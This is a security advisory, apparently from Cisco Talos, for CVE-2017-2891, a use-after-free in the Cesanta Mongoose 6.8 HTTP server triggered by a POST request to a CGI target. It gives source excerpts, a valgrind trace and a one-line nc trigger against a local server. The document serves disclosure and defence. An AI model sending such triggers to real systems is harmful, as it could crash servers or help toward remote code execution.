CVE-2017-2891
An exploitable use-after-free vulnerability exists in the HTTP server implementation of Cesanta Mongoose 6.8. An ordinary HTTP POST request with a CGI target can cause a reuse of previously freed pointer potentially resulting in remote code execution. An attacker needs to send this HTTP request over network to trigger this vulnerability.
Cesanta Mongoose 6.8
9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Mongoose is a monolithic library implementing a number of networking protocols, including HTTP, MQTT, MDNS and others. It is designed with embedded devices in mind and as such is used in many IoT devices and runs on virtually all platforms.
While parsing a specific type of POST request that targets a CGI script, a use-after-free vulnerability is triggered, if compiled with CGI support which is the default. When doing the initial parsing, a structure of type mg_connection
is allocated in function mg_create_connection_base
. Then, while working on a reply and since this is a CGI request (target of the request just needs to end with set CGI extension, “.cgi” by default), a CGI handler is invoked in the function mg_send_http_file
:
} else if (is_cgi) {
#if MG_ENABLE_HTTP_CGI
mg_handle_cgi(nc, index_file ? index_file : path, path_info, hm, opts);
#else
In function mg_handle_cgi
a new connection structure is allocated and a previous one is added to it:
struct mg_connection *cgi_nc =
mg_add_sock(nc->mgr, fds[0], mg_cgi_ev_handler); [1]
struct mg_http_proto_data *cgi_pd = mg_http_get_proto_data(nc);
cgi_pd->cgi.cgi_nc = cgi_nc;
cgi_pd->cgi.cgi_nc->user_data = nc; [2]
nc->flags |= MG_F_USER_1;
In above code, at [1], a new connection structure is created and at [2], the old nc
is set as the user_data
field. Since the initial client connection is deemed done, it’s being cleaned and the first mg_connection
structure is freed by calling mg_close_conn
in function mg_socket_if_poll
. This leaves the cgi_pd->cgi.cgi_nc->user_data
pointer set at [2] pointing to freed memory. Then, when executing the actual CGI event handler function mg_cgi_ev_handler
this freed data will be accessed in different places depending on the event:
static void mg_cgi_ev_handler(struct mg_connection *cgi_nc, int ev,
void *ev_data) {
struct mg_connection *nc = (struct mg_connection *) cgi_nc->user_data; [3]
...
case MG_EV_CLOSE:
mg_http_free_proto_data_cgi(&mg_http_get_proto_data(nc)->cgi); [4]
nc->flags |= MG_F_SEND_AND_CLOSE;
Break;
In the above code, at [3] the pointer to the original connection structure is retrieved (which at this time points to freed memory) and is dereferenced at [4] which ultimately leads to read and write over unallocated memory. If a second request happens at the right time, this freed memory might contain different data or point to other structures leading to server crash and potential remote code execution with multiple carefully controlled post requests.
This vulnerability can be demonstrated via the example web server application supplied with the library. Since the server may not immediately crash, the vulnerability can be observed by running the server under memory debugger such as valgrind or AddressSanitizer.
Valgrind output:
==87342== Memcheck, a memory error detector
==87342== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==87342== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==87342== Command: ./simplest_web_server
==87342==
==87342== Invalid read of size 8
==87342== at 0x40BD62: mg_http_get_proto_data (mongoose.c:5054)
==87342== by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249)
==87342== by 0x406FD9: mg_call (mongoose.c:2051)
==87342== by 0x407318: mg_close_conn (mongoose.c:2108)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Address 0x5421728 is 136 bytes inside a block of size 208 free'd
==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342== by 0x407329: mg_close_conn (mongoose.c:2109)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Block was alloc'd at
==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342==
==87342== Invalid write of size 8
==87342== at 0x40BD84: mg_http_get_proto_data (mongoose.c:5055)
==87342== by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249)
==87342== by 0x406FD9: mg_call (mongoose.c:2051)
==87342== by 0x407318: mg_close_conn (mongoose.c:2108)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Address 0x5421728 is 136 bytes inside a block of size 208 free'd
==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342== by 0x407329: mg_close_conn (mongoose.c:2109)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Block was alloc'd at
==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342==
==87342== Invalid write of size 8
==87342== at 0x40BD8F: mg_http_get_proto_data (mongoose.c:5056)
==87342== by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249)
==87342== by 0x406FD9: mg_call (mongoose.c:2051)
==87342== by 0x407318: mg_close_conn (mongoose.c:2108)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Address 0x5421730 is 144 bytes inside a block of size 208 free'd
==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342== by 0x407329: mg_close_conn (mongoose.c:2109)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Block was alloc'd at
==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342==
==87342== Invalid read of size 8
==87342== at 0x40BD9E: mg_http_get_proto_data (mongoose.c:5059)
==87342== by 0x4138DD: mg_cgi_ev_handler (mongoose.c:8249)
==87342== by 0x406FD9: mg_call (mongoose.c:2051)
==87342== by 0x407318: mg_close_conn (mongoose.c:2108)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Address 0x5421728 is 136 bytes inside a block of size 208 free'd
==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342== by 0x407329: mg_close_conn (mongoose.c:2109)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Block was alloc'd at
==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342==
==87342== Invalid read of size 8
==87342== at 0x4138F1: mg_cgi_ev_handler (mongoose.c:8250)
==87342== by 0x406FD9: mg_call (mongoose.c:2051)
==87342== by 0x407318: mg_close_conn (mongoose.c:2108)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Address 0x5421768 is 200 bytes inside a block of size 208 free'd
==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342== by 0x407329: mg_close_conn (mongoose.c:2109)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Block was alloc'd at
==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342==
==87342== Invalid write of size 8
==87342== at 0x413905: mg_cgi_ev_handler (mongoose.c:8250)
==87342== by 0x406FD9: mg_call (mongoose.c:2051)
==87342== by 0x407318: mg_close_conn (mongoose.c:2108)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Address 0x5421768 is 200 bytes inside a block of size 208 free'd
==87342== at 0x4C2EDEB: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x407289: mg_destroy_conn (mongoose.c:2101)
==87342== by 0x407329: mg_close_conn (mongoose.c:2109)
==87342== by 0x40AE38: mg_socket_if_poll (mongoose.c:3697)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342== Block was alloc'd at
==87342== at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==87342== by 0x4078F2: mg_create_connection_base (mongoose.c:2303)
==87342== by 0x4079DC: mg_create_connection (mongoose.c:2328)
==87342== by 0x407D45: mg_if_accept_new_conn (mongoose.c:2435)
==87342== by 0x409A9F: mg_accept_conn (mongoose.c:3202)
==87342== by 0x40A35C: mg_mgr_handle_conn (mongoose.c:3495)
==87342== by 0x40ADA9: mg_socket_if_poll (mongoose.c:3690)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342==
==87355==
==87355== HEAP SUMMARY:
==87355== in use at exit: 1,656 bytes in 9 blocks
==87355== total heap usage: 11 allocs, 2 frees, 3,704 bytes allocated
==87355==
==87355== LEAK SUMMARY:
==87355== definitely lost: 0 bytes in 0 blocks
==87355== indirectly lost: 0 bytes in 0 blocks
==87355== possibly lost: 0 bytes in 0 blocks
==87355== still reachable: 1,656 bytes in 9 blocks
==87355== suppressed: 0 bytes in 0 blocks
==87355== Rerun with --leak-check=full to see details of leaked memory
==87355==
==87355== For counts of detected and suppressed errors, rerun with: -v
==87355== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
==87342==
==87342== Process terminating with default action of signal 2 (SIGINT)
==87342== at 0x5154573: __select_nocancel (syscall-template.S:84)
==87342== by 0x40AB75: mg_socket_if_poll (mongoose.c:3657)
==87342== by 0x407729: mg_mgr_poll (mongoose.c:2232)
==87342== by 0x4020C2: main (simplest_web_server.c:33)
==87342==
==87342== HEAP SUMMARY:
==87342== in use at exit: 416 bytes in 6 blocks
==87342== total heap usage: 14 allocs, 8 frees, 5,008 bytes allocated
==87342==
==87342== LEAK SUMMARY:
==87342== definitely lost: 72 bytes in 1 blocks
==87342== indirectly lost: 0 bytes in 0 blocks
==87342== possibly lost: 0 bytes in 0 blocks
==87342== still reachable: 344 bytes in 5 blocks
==87342== suppressed: 0 bytes in 0 blocks
==87342== Rerun with --leak-check=full to see details of leaked memory
==87342==
==87342== For counts of detected and suppressed errors, rerun with: -v
==87342== ERROR SUMMARY: 6 errors from 6 contexts (suppressed: 0 from 0)
echo -ne “POST /a.cgi HTTP/1.1\r\n\r\n” | nc localhost 8000 |
2017-08-30 - Vendor Disclosure
2017-10-31 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.